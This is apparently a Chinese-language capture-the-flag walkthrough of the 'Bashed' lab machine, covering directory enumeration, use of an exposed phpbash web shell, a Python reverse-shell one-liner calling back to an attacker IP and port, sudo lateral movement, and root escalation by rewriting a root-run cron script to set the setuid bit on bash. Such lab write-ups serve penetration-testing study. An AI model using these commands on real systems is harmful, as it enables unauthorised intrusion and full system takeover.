这台靶机的难度是Easy,可以说是名副其实了。
在端口扫描结果里,只有一个80端口的http服务在运行,这就可以使我们把注意力全部放在http的服务上。
页面内容分析
从浏览器中打开网页后内容如下:
通过网页内容,我们可以排除使用CMS,同时也从内容中可以看到phpbash的相关介绍,所以这就会引起我的猜测:这台靶机上存在phpbash吗?
接下来,我从网页的源码里可以找到一个看起来和网站业务逻辑相关的js:
1 2 3 ... <script type='text/javascript' src='js/main.js' ></script> ...
从js文件内容中,我们可以看到有一个ajax的请求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 var params = { 'action' : 'SendMessage' , 'name' : jQuery ('#name' ).val (), 'email' : jQuery ('#contact-email' ).val (), 'subject' : jQuery ('#subject' ).val (), 'message' : jQuery ('#message' ).val () }; jQuery.ajax ({ type : "POST" , url : "php/sendMail.php" , data : params, success : function (response ) { if (response) { var responseObj = jQuery.parseJSON (response); if (responseObj.ResponseData ) { alert (responseObj.ResponseData ); } } }, ...
从上述分析中,我们就可以拿到一个接口:
1 curl -X POST http://10.10.10.68/php/sendMail.php --data-raw "action=SendMessage&name=1&email=2&subject=3&message=4"
但实际上,这个接口没什么卵用,只是在浪费sei干。
目录爆破
接下来,对其进行目录爆破:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 gobuster dir -u http://10.10.10.68 -w /usr/share/wordlists/dirb/big.txt =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.68 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/dirb/big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/09/14 11:55:12 Starting gobuster in directory enumeration mode =============================================================== /.htaccess (Status: 403) [Size: 295] /.htpasswd (Status: 403) [Size: 295] /css (Status: 301) [Size: 308] [--> http://10.10.10.68/css/] /dev (Status: 301) [Size: 308] [--> http://10.10.10.68/dev/] /fonts (Status: 301) [Size: 310] [--> http://10.10.10.68/fonts/] /images (Status: 301) [Size: 311] [--> http://10.10.10.68/images/] /js (Status: 301) [Size: 307] [--> http://10.10.10.68/js/] /php (Status: 301) [Size: 308] [--> http://10.10.10.68/php/] /server-status (Status: 403) [Size: 299] /uploads (Status: 301) [Size: 312] [--> http://10.10.10.68/uploads/] =============================================================== 2022/09/14 11:55:18 Finished ===============================================================
根据以往惨痛的教训:Shocker靶机带来的启示:目录爆破进阶技巧 ,我们可以考虑接下来对目录下的文件进行爆破。
但,这台靶机名副其实的Easy原因之二是:Apache服务并没有禁止显示目录索引。
这就会导致我们可以访问http://10.10.10.68/dev/ 时,Apache会列出该目录下所有的文件,如下所示:
好家伙,这不就直接get shell了?
反弹shell
虽然拿到了shell,但这个shell交互性很差,因此,我们可以继续反弹一个交互性比较好的shell。
我们可以从Reverse Shell Generator 中进行各种尝试,最终我使用了python3来反弹shell:
1 export RHOST="10.10.16.10";export RPORT=5555;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
横向移动
在进一步提权时,我发现www-data用户可以在不需要输入密码的情况下,以scriptmanager身份做任何事情。
1 2 3 4 5 6 7 8 $ sudo -l sudo -l Matching Defaults entries for www-data on bashed: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User www-data may run the following commands on bashed: (scriptmanager : scriptmanager) NOPASSWD: ALL
那…我以scriptmanager的身份,执行一下/bin/bash不过分吧!!?
1 sudo -u scriptmanager /bin/bash
至此,就可以成功横向移动到scriptmanager用户了。
提权
经过遍历之后,在根目录下,发现一个不同寻常的文件夹/scripts/,在这个文件夹里存在两个文件test.py和test.txt。
1 2 3 4 5 6 7 scriptmanager@bashed:/scripts$ ls -al ls -al total 16 drwxrwxr-- 2 scriptmanager scriptmanager 4096 Jun 2 07:19 . drwxr-xr-x 23 root root 4096 Jun 2 07:25 .. -rw-r--r-- 1 scriptmanager scriptmanager 58 Dec 4 2017 test.py -rw-r--r-- 1 root root 12 Sep 24 06:47 test.txt
而test.py脚本内容也很简单,向test.txt文件里写入testing 123!。
1 2 3 4 5 scriptmanager@bashed:/scripts$ cat test.py cat test.py f = open("test.txt", "w") f.write("testing 123!") f.close
由此,我们可以推断出,Bashed靶机存在定时任务:以root权限调用test.py。(可以通过pspy工具来证明,但我太懒了,没必要。)
接下来就可以修改test.py的内容,达到提权的效果。
1 echo 'import os;os.system("cp /bin/bash /tmp/bash && chmod u+s /tmp/bash")' > test.py
过一段时间后,执行/tmp/bash -p,提权成功!